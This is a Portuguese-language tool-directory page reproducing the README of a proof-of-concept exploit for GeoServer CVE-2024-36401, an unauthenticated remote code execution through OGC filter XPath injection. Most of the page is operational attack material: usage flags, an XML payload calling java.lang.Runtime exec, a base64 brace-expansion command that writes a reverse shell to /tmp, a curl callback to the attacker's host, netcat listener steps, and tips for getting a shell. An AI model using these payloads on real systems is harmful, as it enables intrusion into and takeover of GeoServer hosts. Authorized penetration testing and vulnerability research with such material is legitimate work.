Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-36401-poc — Exploit de RCE não autenticado para GeoServer (CVE-2024-36401) via injeção de XPath em filtro OGC. Suporta reverse shell e execução de comandos cega com detecção automática de versão e sondagem de tipos de feição. | Kitploit
Ferramentas/GitHubGitHub/delt-a/cve-2024-36401-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Exploit de RCE não autenticado para GeoServer (CVE-2024-36401) via injeção de XPath em filtro OGC. Suporta reverse shell e execução de comandos cega com detecção automática de versão e sondagem de tipos de feição.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-36401 — Injeção XPath OGC no GeoServer (RCE)

Python CVE CVSS License

Exploit de Execução Remota de Código não autenticado para GeoServer via injeção do parâmetro valueReference de filtro OGC (avaliação XPath/JXPath).

Aviso: Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança. Não utilize contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade pelo uso indevido ou danos causados por esta ferramenta.


Índice

  • Visão Geral
  • Versões Afetadas
  • Detalhes Técnicos
  • Requisitos
  • Instalação
  • Uso
  • Exemplos
  • Como Funciona
  • Solução de Problemas
  • Referências

  • Visão Geral

    O GeoServer é um servidor Java de código aberto para compartilhar dados geoespaciais, amplamente implantado em ambientes governamentais, empresariais e de pesquisa. O CVE-2024-36401 permite que um atacante não autenticado execute comandos arbitrários do sistema operacional no hospedeiro injetando expressões Java nos parâmetros de filtro OGC (Open Geospatial Consortium).

    A vulnerabilidade foi adicionada ao catálogo CISA Known Exploited Vulnerabilities (KEV) em julho de 2024 devido à exploração ativa na natureza.


    Versões Afetadas

    RamoFaixa VulnerávelCorrigido em
    2.23.x< 2.23.62.23.6
    2.24.x< 2.24.42.24.4
    2.25.x< 2.25.22.25.2

    Versões do GeoServer anteriores a 2.23.0 também são provavelmente afetadas, mas estão no fim da vida útil e não foram testadas.


    Detalhes Técnicos

    O GeoServer utiliza a biblioteca GeoTools para avaliar expressões de filtro OGC. O parâmetro valueReference (e outros como CQL_FILTER) é passado para JXPathContext.selectNodes() do Apache Commons JXPath sem sanitização.

    O JXPath suporta a chamada de métodos arbitrários do Java através de expressões como:

    root@kitploit:~
    exec(java.lang.Runtime.getRuntime(), 'id')
    

    Esta avaliação ocorre antes da verificação de autenticação para certos endpoints, tornando a vulnerabilidade totalmente não autenticada.

    Endpoints vulneráveis:

    • POST /geoserver/wfs — requisição GetPropertyValue com valueReference
    • GET /geoserver/ows — mesmo parâmetro via query string

    Nota técnica importante: A expressão valueReference deve usar aspas simples (') em torno da string de comando. Aspas duplas (") causam falhas de análise XML e impedem a execução — uma armadilha comum em outros PoCs públicos.


    Requisitos

    • Python 3.9+
    • Biblioteca requests
    • Alvo executando uma versão vulnerável do GeoServer com pelo menos um tipo de feature WFS disponível (os workspaces de dados de amostra padrão sf, topp, tiger são suficientes)

    Instalação

    root@kitploit:~
    git clone https://github.com/Delt-A/CVE-2024-36401-poc
    cd CVE-2024-36401-poc
    pip3 install requests
    

    Ou instale as dependências diretamente:

    root@kitploit:~
    pip3 install requests
    

    Uso

    root@kitploit:~
    usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                      [-c CMD] [-f FEATURE]
    
    options:
      -h, --help            show this help message and exit
      -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
      -l, --lhost LHOST     Your IP address for reverse shell callback
      -p, --lport LPORT     Listener port (default: 4444)
      -c, --cmd CMD         Single command to execute (no output returned)
      -f, --feature FEATURE Feature type override (auto-detected if omitted)
    

    Modos

    ModoFlagsDescrição
    Reverse shell-l LHOST -p LPORTReverse shell em dois estágios via bash
    Execução de comando-c CMDExecuta um único comando (cego — sem saída)
    Sobrescrita de tipo de feature-f FEATUREIgnora a detecção automática, usa o tipo especificado

    Exemplos

    1. Reverse Shell (recomendado)

    Inicie um listener primeiro:

    root@kitploit:~
    nc -lvnp 4444
    

    Depois execute o exploit:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<ALVO>:8080 \
      -l <LHOST> \
      -p 4444
    

    Saída esperada:

    root@kitploit:~
       _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
      / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
     / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
    / /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
    \____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
       ___
      <  /
      / /
     / /
    /_/
    
      GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
      Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6
    
    [*] Target : http://<ALVO>:8080
    
    [+] GeoServer detected — version: 2.24.2
    [+] Version 2.24.2 is VULNERABLE
    [*] Probing feature types...
    [+] Feature type: sf:archsites
    
    [*] Feature type : sf:archsites
    [*] Listener      : <LHOST>:4444
    [*] Start         : nc -lvnp 4444
    
    [*] Stage 1 — writing /tmp/rs.sh on target...
    [+] Payload delivered via sf:archsites
    [*] Stage 2 — executing → <LHOST>:4444
    [+] Done — check your listener
    

    No listener:

    root@kitploit:~
    Connection received on <ALVO> 43210
    bash: cannot set terminal process group: Inappropriate ioctl for device
    bash: no job control in this shell
    geoserver@target:~$
    

    2. Execução de Comando (Cego)

    Execute um comando sem receber saída. Útil para verificação fora de banda ou para soltar arquivos:

    root@kitploit:~
    # Verifique a execução através da criação de arquivo
    python3 exploit_CVE-2024-36401.py \
      -t http://<ALVO>:8080 \
      -c "touch /tmp/pwned"
    
    # Dispare um callback curl para confirmar a execução
    python3 exploit_CVE-2024-36401.py \
      -t http://<ALVO>:8080 \
      -c "curl http://<LHOST>:8000/pwned"
    

    Nota: Comandos contendo metacaracteres do shell (>, |, &, ;) são automaticamente codificados em base64 para evitar problemas de análise.


    3. Especificar Tipo de Feature Manualmente

    Se a detecção automática falhar, forneça um tipo de feature conhecido do alvo:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<ALVO>:8080 \
      -l <LHOST> \
      -p 4444 \
      -f topp:states
    

    Tipos de feature comuns incluídos com os dados de amostra do GeoServer:

    WorkspaceTipo de Feature
    sfsf:archsites, sf:bugsites, sf:roads, sf:streams
    topptopp:states, topp:tasmania_cities, topp:tasmania_roads
    tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
    citecite:Buildings

    Como Funciona

    O exploit envia uma requisição WFS GetPropertyValue com uma expressão valueReference maliciosa:

    root@kitploit:~
    <wfs:GetPropertyValue service='WFS' version='2.0.0'
      xmlns:wfs='http://www.opengis.net/wfs/2.0'>
      <wfs:Query typeNames='sf:archsites'/>
      <wfs:valueReference>
        exec(java.lang.Runtime.getRuntime(),'COMANDO')
      </wfs:valueReference>
    </wfs:GetPropertyValue>
    

    Para o reverse shell, uma abordagem em dois estágios é usada para evitar problemas com metacaracteres do shell dentro do argumento de string única do exec():

    Estágio 1 — Escreve o reverse shell em /tmp/rs.sh usando codificação base64 e expansão de chaves do shell (sem espaços na string exec):

    root@kitploit:~
    bash -c {echo,PAYLOAD_BASE64}|{base64,-d}|{tee,/tmp/rs.sh}
    

    Estágio 2 — Executa o script:

    root@kitploit:~
    bash /tmp/rs.sh
    

    Esta abordagem evita a necessidade de um interpretador de shell na primeira chamada exec(), tornando-a confiável em diferentes configurações de sistema.


    Solução de Problemas

    [-] Cannot connect to target

    • Verifique se a URL e a porta do alvo estão corretas
    • Confirme que o GeoServer está em execução: curl http://<ALVO>:8080/geoserver/web/

    [-] No usable feature type found

    • Os dados de amostra do GeoServer podem não estar instalados
    • Tente especificar um tipo de feature personalizado com -f <workspace>:<tipo>
    • Liste os tipos disponíveis: curl "http://<ALVO>:8080/geoserver/wfs?request=GetCapabilities"

    [+] Payload delivered mas nenhum shell recebido

    • Confirme que o listener está em execução antes de enviar o exploit
    • Verifique as regras do firewall — o alvo deve ser capaz de alcançar seu LHOST:LPORT
    • Alguns PoCs usam aspas duplas (") em torno do comando — isso não funciona. Certifique-se de que aspas simples (') sejam usadas dentro da expressão valueReference.

    [!] Version X.X.X may be patched — attempting anyway

    • O script sempre tenta o exploit independentemente da detecção de versão
    • A detecção de versão pode falhar se a página About estiver restrita; o exploit ainda pode ser bem-sucedido

    Referências

    • NVD — CVE-2024-36401
    • Advertência do GitHub — GHSA-7g64-hx6g-4427
    • Aviso de Segurança do GeoServer
    • Catálogo KEV da CISA
    • Correção JXPath do GeoTools

    Licença

    Este projeto está licenciado sob a Licença MIT. Consulte LICENSE para obter detalhes.

    Baixar ferramenta